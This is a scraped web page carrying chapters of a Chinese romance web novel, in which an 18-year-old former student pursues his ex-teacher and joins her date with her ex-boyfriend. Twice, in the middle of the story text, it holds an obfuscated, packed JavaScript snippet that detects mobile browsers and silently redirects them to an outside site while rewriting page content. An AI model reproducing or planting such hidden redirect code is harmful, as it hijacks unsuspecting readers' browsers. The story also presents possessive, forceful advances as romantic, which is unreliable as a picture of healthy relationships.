简单的黑T牛仔裤搭配甜软风格的粉色狗耳朵狗尾巴怎么会是这种惊人效果,她想不明白,此刻只想把这个身高腿长的大帅哥塞到电视里去演一集人狗情未了。 那张白皙清隽的脸庞,自带只可远观不可亵玩的气质,然而在毛茸茸的狗耳朵下,这类高岭气质被轻佻打破,矛盾的对撞,使得他什么也不用做,就成了“诱惑”本身。 这个纪复白,让人意识到,原来上天真的会对一些人有偏爱,比如他。 35. 发疯 蒋一茉看呆住的反应,使纪复白的不自在渐渐消除,取而代之的是一种莫名兴奋。 他单膝跪下,把脸凑近,小声道:“不想摸摸小狗吗,你的小狗这么乖。” 少年亮闪闪的黑眸里,满是期待。 蒋一茉脸上漾开笑容,明媚灿烂,右手摸上他左脸。 指腹如丝绸温软,摩挲着脸颊。 女人只不过施舍一点点爱意,纪复白差点压不住心底的冲动,想一头往前撞去,直接撞进女人怀里,将她扑倒在沙发上,再把狗耳朵取下来,戴在她头上,问她索取更多更多。 到底谁是谁的狗,这事儿,纪复白认为床上床下得分开说。 不远处响起的快门声,很及时地打消了所有色气念头。 他回头,文娟卧室门口,两只脑袋挤在一起,纪思梦手拿相机,抿唇眨巴眼。 被发现了…… 纪复白叹口气,在蒋一茉身边坐下,一手搭在她身后的沙发背上,淡淡道:“出来吧。” 蒋斯源和纪思梦跑过来,两人围着纪复白一阵打量。 蒋斯源捧腹大笑,纪思梦拿相机不停拍照,还指导她哥摆造型。 纪复白心想戴都戴了,再配合一下,顺手的事儿,便没抗拒。 纪思梦:“小白哥哥,我可以……” 纪复白:“不可以。” 纪思梦:“哦……” 蒋斯源停了笑,问可以什么? 纪复白替她回答:“发微博,发小红书,发各种平台,涨粉。” 他答得很熟练,因为纪思梦不止一次找过他了。 纪思梦:“……” 纪思梦坐到纪复白身边,说:“等号做起来,赚了钱分你一半。” 纪复白靠在沙发里,噙着点懒散的笑:“你找错人了,我不缺钱。” 蒋斯源看纪思梦一脸失望,想了想,说:“我给你拍,回头你号火了,我也不要你分我钱,请我吃饭就行。” 纪复白看眼发小,有些诧异,而后者已经走过来,问他要装备。 “……” 他解下那些东西,都递过去。 蒋斯源说:“阳台光线好,走,我们去阳台拍。” 纪思梦便举着相机,一路雀跃,跟在他身后。 蒋斯源穿戴上这些东西,跟纪复白相比是另一种感觉。 纪思梦举起相机,没有立即按快门,而是通过镜头打量。 男生皮肤黑,头发也短,气质带有一种原始的粗犷,粉色狗耳朵在他头上看起来不太和谐,给人一种好像因为吃错了药,耳朵和尾巴才从黑色突然变成了粉色…… 纪思梦在脑海里连一部动漫剧情都编出来了,快门还是迟迟没按。 蒋斯源问:“怎么不拍?” 纪思梦支支吾吾道:“我在奇怪……明明是同样的东西,你和小白哥哥给人感觉却完全不同。” 蒋斯源:“哦?怎么不同了?” “他更像人,”纪思梦道,“……你更像狗。” 原始的,未开化的狗。 蒋斯源:“……” 蒋斯源一愣,纪思梦以为他要生气,道歉的话还没来得及出口,见他抖着肩笑了起来。 她松一口气,也弯起眼睛笑。 - 客厅这头,纪复白见蒋一茉又捧着那本书在看,凑过去也扫了两眼。 发现不对劲,他拎起书,看一眼封面,乐了:“还以为你在看什么名著,居然是言情小说。” 蒋一茉摸了摸脸,编瞎话说:“以前在学生那里没收来的,我只是好奇到底有多好看,让他们上课也停不下来。” “所以好看吗?讲的什么?”纪复白问。 蒋一茉道:“看着玩儿还行,讲的就是我爱你你不爱我,我不爱你了你偏又爱上我那点事儿。” 纪复白自动屏蔽其他,只听见三个字—— “你爱我?” “……”蒋一茉掀眼,瞪他。 纪复白笑笑,闭上嘴。 安静了会儿,他又道:“是本讲姐弟恋的书,对吗?” 蒋一茉:“……” 纪复白:“我看见男主叫女主姐姐,想要跟她上床。” 蒋一茉“啪”地合上书,纪复白转头看她,唇角勾着散漫的笑:“上了吗,最后?” 蒋一茉:“……” 蒋一茉觉得有点热,把书放下,拿遥控器直接把空调温度降到18,又再喝口水,回头见纪复白还在盯着自己。 “你要是那么想知道答案,先借给你看。” 她把书丢他怀里,拿出手机,测试着各类app的开关速度。 余光里,男生没有拿书的动静,那股视线依旧紧追她不放。 正想叫对方干点正事去,他那略带点感伤的声音响起:“我倒真想看看,书里有没有关于我们问题的解。” 蒋一茉一顿,听纪复白又道:“你也在找答案,是吗?” 蒋一茉:“……” 没等来她回应,他继续说:“我觉得,这个解,从别人那里是找不到的,我们应该自己去解,可是,”他苦笑,“你好像根本不想陪我解这道题。” 蒋一茉持续沉默着,沉默到蒋斯源和纪思梦他们拍完照过来,话题自然到此为止。 纪复白和蒋斯源继续打游戏,纪思梦坐在沙发看蒋一茉那本书,蒋一茉在和焦俏聊微信。 焦俏说昨晚见到王衍之,果然听他说想跟蒋一茉复合,大家还都帮他出主意,又问她怎么考虑。 蒋一茉不知道怎么回,放下手机,目光飘向纪复白的背影。 他盘腿坐在地毯上,身姿依然高大挺拔,修长指尖游刃有余地按动着手柄,短袖下露出的手臂肌肉因为发力的关系略微膨起,呈现流畅线条。 有纪复白做对比,旁边她亲弟那一副塌腰弓背要死不活的样简直惨烈。 蒋一茉嫌弃地“啧”了声,收回视线时,见纪思梦捧着书倒在沙发扶手上睡着了。 她准备把女孩儿抱到自己卧室去睡,手上刚要使劲儿,被亲弟推开。 “我来吧,你这小身板儿抱得动谁,待会儿再给人家抱摔了。” 蒋斯源小声说着,高大体格轻松将女生抱起来,进卧室后放在自己阳台的床上,又给她胸口盖上被子。 蒋一茉拿起那书接着自己之前的位置继续看。 蒋斯源关上门,回来继续游戏。 又玩了一会儿,他把游戏手柄丢在沙发上,捂着肚子跑去厕所。 “姐你替我玩会儿。” 蒋一茉一看是枪战游戏,没怎么玩儿过,倒是想试试,于是拿了手柄也坐到地毯上。 纪复白给她简单讲了下,两人接着刚刚的剧情开始。 刚一进游戏就不太顺利,蒋一茉怎么也冲不过去交战区,总是死了又重来,仿佛陷入循环。 纪复白没有一丁点不耐烦,陪着她一遍又一遍重新来。 蒋一茉却没了耐 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“你看,只要我们齐心协力,什么困难都可以战胜。”纪复白说。 蒋一茉轻哼一声,笑道:“这么有感触,要不要干脆写篇作文抒发下?” 纪复白搂紧她细软的腰,把人按在怀里,埋下头,细细啄吻T恤领口处雪白的肩颈:“小蒋老师还给我作文打满分吗?” “看你写得怎么样了。”蒋一茉推了推他,没推开。 纪复白在香味里沉溺,不顾她挣扎,手上动作越发放肆,又硬拽下她T恤领口,伴随布料撕拉的声音,他在她肩头吮吸出一个草莓印。 “你疯了?!”蒋一茉气得急了,用了全力猛地推开他站起来,揪着被撕坏的衣领,捂着被咬疼的位置。 “还没,但是也快了。”镜片后的黑眸略带一点阴鸷,纪复白的语气,已然有种冷静的疯感。 如果,他没有在她卧室枕头底下真的发现那两枚凤冠冰箱贴和那张照片,如果,他昨天没有听见蒋斯源说,蒋一茉告诉他,冰箱贴是她喜欢的人送的,他想,他此刻都不会这么想要发疯。 有什么比明知道对方喜欢自己,却看着她一次次推开自己,更痛苦。 他觉得自己有能力去解题,可蒋一茉只一味拒绝他靠近,连让他尝试都不愿尝试,就否定了所有。 蒋一茉回房间换了件T恤,出来后,穿鞋,拉开门出去,“砰”的甩上门。 蒋斯源从厕所出来,震天的声音还回响在屋子里。 “我姐出去了?去店里了?”他走过来坐下,捡了手柄继续。 纪复白手上依旧流畅操作,心思却早已不在游戏。 “我惹你姐生气了。” 过会儿,他轻声说道,语气有些自责和沮丧。 蒋斯源没有看他,说:“那就跟她道歉。” 但纪复白想要的,不只是原谅,他想要她回应自己,他想要安稳地扎根在她的世界,永不被驱逐。 “我姐她是一个,对自己在乎的人,很容易心软和没有原则的人,所以也就很容易被自己人伤害。”蒋斯源认真道,虽然知道这话听起来有些没头没尾。 纪复白在游戏里挂掉了,要重新来。 “小白,你老实说,你对我姐是不是有那种感情?”蒋斯源转头认真看着纪复白,“是不是因为她救过你一命,所以你想以身相许?” 36. 处女情结 “我是喜欢她。”纪复白承认,“但不是因为她救过我。” 他有些无力,不知道怎么解释和证明。 的确,他一开始对蒋一茉也只有感激和尊重,后来发展成喜欢,一秒不见就难受,自己也出乎意料,也未能想到这种感情会如洪水猛兽席卷而来,根本无法招架。 尤其深夜,他被有违伦理和爱而不能的心情折磨无数个夜晚,直到太阳升起,又恢复无欲无求优秀好学生模样。 “说实话,我不是很理解,我姐估计也不太能接受。”蒋斯源说。 他继续又道:“你想象一下,你正在给一个12岁的小孩儿当家教,有一天,她突然对你说她喜欢你,简直不要太离谱。” 纪复白平静道:“这种确实离谱,但你如果把年龄换成20和26呢,24和30呢,30和36呢?这么一看,是不是差6岁根本也没什么问题。我18岁,已经是成年人,一言一行,可以自己负责,跟12岁小孩是两个性质。” 蒋斯源转头看他:“所以,你真的是像喜欢一个普通女生那样,认真的喜欢我姐?不是想要报答她什么?” 纪复白说:“无比认真。” 蒋斯源沉默了好一会儿,点点头道:“行吧,可能因为我自己有亲姐,所以不太理解为什么会喜欢年龄比自己大的姐姐,但总有人爱这一款。” “不是,我不喜欢姐姐,我只喜欢蒋一茉。”纪复白肯定地说道。 蒋斯源想起什么,说:“可是我姐已经有喜欢的人了,我昨天跟你也说过,那个冰箱贴……” 纪复白:“那是我送给她的。” 蒋斯源:“……啊?!” 蒋斯源愣了愣,又抠了抠脑袋:“那既然都这样了,你俩就在一起呗,怎么,还没捅破窗户纸?” 纪复白摇头,无奈道:“她虽然对你那么说,对我,却什么都不说,就算说,也是说我们不可能之类的话,一遍遍地拒绝我。” 蒋斯源并不排斥纪复白喜欢他姐这件事,因为纪复白的人品有目共睹。 如果是他的其他那些兄弟,他肯定上去就是一顿暴揍,让他们离他姐远点儿,可纪复白绝不是会玩弄别人感情的人。 安静了会儿,他突然想跟纪复白讲点他姐以前的事。 “我姐是个很容易担惊受怕的人,以前我们刚搬去成都,被楼下的人找过一次麻烦,后来她每次下晚自习回家,经过楼下,连声控灯都不敢喊,轻手轻脚生怕被里面的人发现,有一次没看清路,摔台阶上还磕破膝盖。” 蒋斯源看向纪复白:“你知道后来怎么解决的吗?” 纪复白皱眉问怎么解决的。 蒋斯源说:“后来,我每天晚上都在楼下接她,拉着她在那家人门口狠狠跺脚喊灯,然后上楼。久而久之,她自己一个人的时候也就不怕了。” “……”纪复白听着,陷入沉思。 蒋斯源继续道:“我第一次带着她喊亮声控灯的时候,把她都快吓死了,她怕那家人听见我们声音冲出来打我们。我叫她别怕,她还瞪我拧我,叫我安安静静上楼不行吗,我说不行,然后一次次给她证明真的没事,她才克服了那种恐惧。” 顿了顿,他又说:“我的意思是,我姐她就是这样胆小如鼠的性格,有点风吹草动能退得八丈远,除非,身后有人能一直推着她前进,给她撑腰。” 纪复白若有所思地点点头,“我明白。” 蒋斯源搭上他肩,认真道:“兄弟,那是我姐,我亲姐,你要敢伤害她,关系再好,交情再深,我也照样揍。” 他说:“我比你更清楚这点。” 蒋斯源夺了他的手柄,“去店里找她吧,谁惹的,谁负责哄好。” 纪复白笑笑,起身出门。 蒋一茉在店里看店,戴着耳机听歌,文娟在后面库房里搭了张躺椅午睡。 纪复白出现在店门口时,她好巧不巧,目光也正好投向街外,被男生高挑的身影拦截。 少年今天一身黑T牛仔裤,脚上是双复古灰运动鞋。 一身素色的休闲风,往那儿一戳,极富少年感,肩宽腿长,干净白皙,翩翩而立。 她明明离他还有些距离,却仿佛已经闻到对方身上淡雅清爽的味道。 不得不承认,纪复白每次的贴身靠近,都使她对他的味道更加敏感和上瘾。 她低头,没理会,继续看手机里的电子书。 纪复白走过去,见收银台后面正好还有张凳子,长腿勾过来,坐到蒋一茉身边。 他趴在柜台上,脸埋在手臂里,静静地望着她。 他很少能从这样的角度看她,以前都是抬头仰望讲台上的她,或是在办公室帮唐老头改卷子时,在她旁边坐一会儿,偶尔偷偷扫一眼,也不敢太明目张胆。 现在,她好像成了他同桌。 纪复白终于有些理解,那些互相有好感的男女同学为什么那么想要做同桌。 因为无论趴着,坐着,站着,一转头就能看见喜欢的那张脸,跟她说话也不用找理由,微微靠近就能闻到她身上的香味,这种感觉确实很爽。 这种距离,是他以前梦也不敢梦的画面。 蒋一茉虽然在看书,翻页的速度却比纪复白来之前慢了几倍,余光中,男生眷恋的目光让她心神难以宁静。 她侧眸,淡淡对视回去。 纪复白骨节修长的食指正在她白皙手背上打圈儿,见她终于看过来,立即说道:“对不起。” 她默默看了他一会儿,取下一只蓝牙耳机给他,“要听吗?” “你知道我刚刚在说什么吗?”纪复白拿过来戴上,发现音乐声挺大。 蒋一茉依旧低头看书,说:“你不知道吗,‘对不起’和‘我爱你’的嘴型最好辨认。” 纪复白略微想了一想,笑说:“我还真没观察过。” 等了会儿,又道:“你跟我说一句我爱你吧,我看一下,是不是真的?” 陷阱实在过于明显的一个问题,蒋一茉哂笑:“你不会以为给我挖这么大坑,我会蠢到直接往里跳吧?你回家自己对镜子说一遍不就知道了?” “我确实对着镜子说过很多遍。”纪复白靠在背后墙上,双手揣兜,轻声说道。 “太自恋了吧。”蒋一茉笑他。 “每一句‘我爱你’后面,跟的都是你的名字。”他眉宇认真。 不知道为什么如此刚好,此刻的耳机里,歌词在唱: 【好吧,我承认我爱你,不能自已】 【还连累着你,偶尔给我回应】 “……”蒋一茉的笑意凝结在眼底。 沉默一直持续到歌曲结束。 纪复白浅浅勾唇,“歌不错,再放一遍吧?” 蒋一茉却有些烦躁,“听歌就听歌,别投入你自己那些有的没的感情进去行不行?” “你去看一眼这些歌的评论区,那才叫投入呢,小作文满天飞,也不知道真的假的。”纪复白笑道,“说起来,我也写过,而且还是高赞,但我不会告诉你是哪首歌,现在看有些矫情。” 蒋一茉看他一眼,干笑两声,“原来白爷还有羞耻心呢,我以为早给当没用的东西扔掉了。” 听她叫自己“白爷”,纪复白心池微荡,感觉她的语气和别人格外不同,是更为亲密的调侃,近似于宠溺。 刚刚那首歌,蒋一茉嘴上说要听下一首,还是又给他再放了一遍。 他听着歌,享受着这一点偏爱,凝视身旁温柔侧脸,还有低垂的宁静眉眼,扬唇浅笑。 文娟睡醒,出来看到纪复白,左一声“小白”右一声“小白”,拉着他热情寒暄。 她问纪复白暑假这三个月有什么打算。 纪复白说准备考个驾照,科目一已经考完,马上要考科目二。 文娟说:“考驾照好呀,你一茉姐也有驾照,一直在攒钱准备买辆车,到时候你们都会开车了,你一茉姐也有车了,你们几个就可以开车出去玩儿。” 蒋一茉没吭声,心想这位大少爷可不稀罕开车出去玩儿,人家是有专属司机的人。 又听纪复白问她想买什么车,她哼哼两声:“你别管什么车,反正比你曾经说过的某‘破车’还要破得多。” 纪复白:“……” 纪复白嘴角勾起一抹讥笑:“还在想着替他打抱不平?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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蒋一茉斜眸横他一眼,恨不能拿眼神把他当场就地正法。 纪复白收回视线,垂下眼帘,话里带着一点不甘心道:“做过也没事儿,但我希望没做过。” 蒋一茉冷笑了声,“还有处女情结呢?” “不是。”纪复白趴在手臂里闷声道,“我是觉得,你的第一次如果是我,我会比他做得更好。我不要求你的第一次必须给我,我只是认为,我是这个世界上唯一值得你给第一次的男人。” “……”蒋一茉沉默着,无话可讲,心里那股震动,震得她脑中一片空白。 她摘下给他的那只耳机,戴回自己耳朵上,不再听他讲任何话,那些话,一字一句,不管不顾,挖渠凿洞往她心里硬钻。 她怕到最后,整颗心都成了他的殖民地,由他统治。 也因为戴着两只耳机,所以直到王衍之走到面前,指关节叩了叩收银台,蒋一茉抬起头来才看见他。 而坐她旁边的纪复白,自王衍之进店,脸色便越来越黑。 王衍之说在附近刚办完事,特意过来找蒋一茉,没想到她还真在。 “找我干什么?”蒋一茉问。 王衍之:“我看最近暑期档新上线好几部电影,你有没有想看的,我们去看?” 蒋一茉:“我……” “茉儿,”文娟喊她道,“去吧,店里我自己看着就行,你跟小王看电影去。” 她妈妈一个劲儿用眼神暗示她。 蒋一茉有点无奈,以前在她妈面前,把王衍之的形象美化得太好,替他编了太多好话,才让她妈有现在这样的反应,坚决不想让她再错过这个“好男人”。 文娟见女儿还不松口,皱眉又道:“茉儿,人家特意过来的。” 王衍之也说:“小茉,去吧,给我个献殷勤的机会。” 蒋一茉的目光不由自主飘向一旁的纪复白,视线相撞,少年眼底阴沉,尽是不甘。 纪复白垂下眼,没两秒钟又再抬起,笑道:“茉茉姐,我也想去,带我一个?” 他眼里一点笑意也没有,反而用眼睛在威胁她,不愿意的话,他此刻就要把喜欢她的事闹得天下皆知,今天她也休想出去看电影。 37. 他刀呢 王衍之早注意到纪复白,问蒋一茉他是谁。 “我弟弟的朋友。”蒋一茉赶忙解释,却刻意隐瞒他曾经是自己学生的身份。 王衍之对纪复白道:“下次再带你去吧,小帅哥,这次我想跟你一茉姐单独看电影。” “就这次吧,”蒋一茉说,“他跟我们一起,我顺便再问问我弟弟,还有一个妹妹,要去大家都一起去,热闹。” 她给蒋斯源打电话,对方没接。 “估计睡着了,我出来的时候,他说过会儿也要睡个午觉。”纪复白说。 “那就我们三个吧。”蒋一茉道。 王衍之心里无奈,面上却表现爽快:“行,那就一起,走吧,坐我车。” 三人跟文娟打完招呼,一起走出店里。 纪复白率先抢了副驾驶位置,一屁股坐进去。 王衍之见是男生坐在副驾,无奈摇头笑了下,没说什么。 蒋一茉坐在后座,收到纪复白的微信。 纪复白:【想看什么,蒋一茉?】 几部电影海报也都发给了她。 她随便挑了一个悬疑片。 纪复白立即买完三张票,扔来截图,叫她别重复买。 她这头正准备要购票,只好取消,惊叹这家伙动作之快。 这时,王衍之才道:“小茉你想看什么你先买,我回头把钱转给你。” “我已经买完了,这次我请吧,毕竟我打扰了你们的约会。”纪复白说着,瞪一眼开车的王衍之,又回头看眼后座的女人,眼里很是不爽。 王衍之说:“怎么能让你花钱,你看起来应该还在上学吧?是大学生?” “没关系,一场电影而已,花不了几个钱。”纪复白道。 电影票确实没几个钱,但王衍之听他那口气有点不凡,笑说:“看来小帅哥家里条件不错。” “还行。”纪复白心道,反正比你好。 “小帅哥家住哪里,二环还是三环,朝阳还是海淀?家里经商还是从政的?”王衍之又问。 毕竟在这座城里生活,能大方承认自己家境条件还行,实际上应该很不错了。 蒋一茉心说又来了,赶忙转移话题:“衍之,最近忙吗?” 衍之??? 纪复白登时皱紧了眉,气得胸口炸裂疼。 衍个屁之! 他回想蒋一茉有没有叫过他“复白”。 答案是没有,于是胸口更堵得慌了。 “挺忙的,”王衍之说,“我跟你这个中学老师不一样,我可没寒暑假,而且自己当老板,要操心的就更多,但还是见缝插针跑来见你,实在太想你了,小茉。” 说完,瞥一眼副驾,反应过来什么,他又笑道:“不好意思啊小帅哥,我跟你一茉姐肉麻了点。” “……” 纪复白勾唇,无声冷笑。 操!他刀呢? 蒋一茉说:“你以后可以先忙你的,不用这么跑来跑去,尤其是今天这样不打招呼就来。” 王衍之道:“这不是想给你个惊喜。” 蒋一茉沉默,没回应。 微信上,纪复白这家伙在问她:【怎么样,对你前男友给你的惊喜感到惊喜吗?】 她回:【要你管】 纪复白回了她一个【哼,小狗生气】的表情包。 紧接又是一个【小狗也会不开心的】表情包。 再紧接又是【小狗勾能有什么坏心眼】表情包。 蒋一茉无奈抿了抿唇角,回他:【安静。】 纪复白果然在微信上安静了,却又张嘴说道:“茉茉姐,我昨晚估完分了。” 其实早就估完了。 “估了多少?”蒋一茉探身,撑着椅背问。 “保守估计,720以上吧。”他口吻淡淡。 王衍之惊讶地看他一眼:“720以上?没估错吧?那岂不是很有可能是状元?” 蒋一茉跟他解释,这本来就是他们年级理科班级成绩最好的学生,几次高校联考的第一名,720以上算正常发挥。 王衍之点点头,又问:“这小帅哥毕业前是你学生吗,小茉?” 蒋一茉反应过来说漏嘴了,只好点点头,没说别的。 王衍之道:“原来你们还是师生,那他怎么又是你弟弟的朋友,你弟弟不是一直生活在成都?” “他们是网友,打游戏认识的。”蒋一茉随口编了个瞎话。 她和纪复白小时候地震被困一起的事,不想说给太多人知道,那是属于他们之间的回忆。 王衍之笑着问纪复白想好读清华还是北大了吗,还是打算出国。 纪复白其实早就考虑好了,几家招生办找过他好多次,但他不想给王衍之交底,便说:“没打算出国,国内的大学也还在考虑。” “帅哥,以后来我公司吧,到时候肯定给你开高薪。”王衍之说。 纪复白冷笑了笑,“不好意思,我要学医。” “啊?你要学医?”蒋一茉又凑前去。 她没想到纪复白会这么打算,上回吃饭闲聊,按纪烽那意思,好像是想要按照老爷子的遗愿,让他进家族企业当继承人培养。 纪复白回头看她一眼,没说话,只在微信上问:【你忘记我们的约定了吗,蒋一茉?】 “什么约定?”蒋一茉看到这条,嘟囔出声。 纪复白被她气够呛,发了一个【狗善被人欺】的表情包。 蒋一茉连着几条问他: 【到底什么约定?】 【什么时候约定的?】 【我怎么一点印象没有?】 纪复白:【我说过,出去了,当牙医给你治牙疼,你还跟我说要我好好念书,一点都不记得了吗?】 蒋一茉:【……】 谁会对一个8岁小男孩在地震当下的话当真,而且—— 蒋一茉:【我上下左右四颗智齿全拔完了,不用你治了。】 纪复白被她气笑,无奈打字回复道:【那我就去治别人。】 蒋一茉:【你想好了?】 纪复白:【想好了,很清楚,明白得不得了,不只是为你,还为被牙疼困扰的天下苍生。满意你学生有这样的觉悟吗,小蒋老师?】 蒋一茉:【我心甚慰。】 纪复白笑了笑,又回一条:【不跟你阴阳怪气了,我真这么想,有这个想法的确是因为你,坚定要入这一行是因为我自己。】 蒋一茉:【你也牙疼?】 纪复白:【因为我心怀大义,愿意为祖国医药卫生事业的发展和人类身心健康奋斗终生。(微笑)】 “学医也不错。” 王衍之没多做评价,又对蒋一茉道:“对了,小茉,你身上带化妆品了吗,要不要化个妆?” “没带。”蒋一茉抿了抿唇,“我连包都没带,看个电影不就回来了?” 王衍之说:“多少化一点,看起来漂亮一些,你下巴上还长痘了,待会儿万一遇上个熟人,你多没面子。” “她不化妆也很好看。”纪复白蹙眉道。 王衍之笑说:“小帅哥,你见过的女孩儿少,跟你们学校的小女生比起来,可能她还行。” 这话听着真叫人不爽, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452515|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪复白挑眉问说:“你不是喜欢她吗,为什么还挑剔她化不化妆?” “化了妆我更喜欢啊,我就是喜欢化妆打扮的精致女生,小茉知道的。”王衍之坦诚道。 纪复白轻哼一声,说:“如果是我喜欢的人,不管化不化妆,打不打扮,她都是我心里最好看的女生,根本没人可以跟她比较,我只希望她怎么舒服怎么来,其他都无所谓。” 王衍之:“那是因为你还没带女友出席过一些重要场合,没碰见过别人讲你女朋友闲话,我这也是为她好,她被夸,我又有面子,两全其美。” 纪复白:“谁要是敢讲我女朋友闲话,我就当场揍他,让他闭嘴,再敢讲,就再揍一遍。” 王衍之笑道:“那如果人家说的是事实,你揍人家干什么,对吧。以前我有个朋友说你蒋老师眼线画得难看,我一看确实是有点别扭,就跟她说了,她后来自己画的越来越好。” “对吧,一茉?现在是不是没我监督,你化妆水平又倒退了?”王衍之从中央后视镜看一眼后排,“你看你现在,穿的也是够休闲的,穿个T恤和短裤就出来了。” “又不是天天活在镁光灯下的女明星,老百姓没有那么多舞台需要展示。生活是自己的,总活在别人眼光里累不累。蒋一茉老师需要的面子远不在于什么眼线画的好不好,而是学生的认可,这才是她真正应该争取的‘面子’,不是那些屁用没有的,肤浅浮华的东西。”纪复白冷声道。 蒋一茉盯着前方椅背,虽然只能听见少年的声音,却能想象他眉眼认真又冷峻的样子。 纪复白的气质本就是冷硬的,哪怕眼镜压制了一些冷硬,增添一丝斯文,也不代表他是斯文温和的人,反而脾气秉性有些桀骜不驯和心高气傲。 所以有时蒋一茉会感到惊讶,这样一个少年,怎么会说出要给她当小狗这种话,他明明不管往哪里一戳,都是头昂首挺立的不受拘束的狼的形象。 哪怕喊她姐姐时,也藏不住下一秒就要把她啃得骨头都不剩的危险信号。 王衍之很少会把情绪挂脸上,面对比自己年龄小的弟弟,就更不会了,即使他很不高兴对方刚才那番反驳。 “小茉,你看你把你学生教得多好,这么维护你,还这么能说会道的。”他仍旧笑道。 “我觉得他说得对,你觉得呢?”蒋一茉反把话丢回去。 她刚刚一直都没讲话,如果不是纪复白帮忙反驳,她又要掉入自卑的黑洞。 那种黑,可以吞噬她身上一切的光亮。 她经常被王衍之推进一个又一个黑洞,她想着自己努力爬出来被他认可了就好,原来,她可以在被推的时候就进行反抗的,像纪复白这样,一步不退。 以前在大学寝室里,她边学画眼线边哭,画了又擦,擦了又画,眼角变红变肿。 室友们看到都心疼她,王衍之却只说你怎么这么笨,说他身边的女生没有不会画的。 还说你要是不打扮,万一我被她们勾搭走了,那时你上哪儿哭去? 又说,我肯定不会轻易被她们勾搭走,但你也要为了我努力一些对不对,不能总让我去帮你讲好话,你也要自己证明自己,对不对? 蒋一茉只会点头说“对”,如今想来,在“对”什么?有什么好“对”的?哪里“对”了? 王衍之向来不会完全不给人面子,此时被蒋一茉直接问他怎么觉得,也依然笑着回应:“他说的也不是完全没道理,我说的也不是完全有道理,至于怎么看,还在于你,对吧,小茉?” 蒋一茉沉默,微信上收到一条消息。 纪复白:【你怎么看上他的?】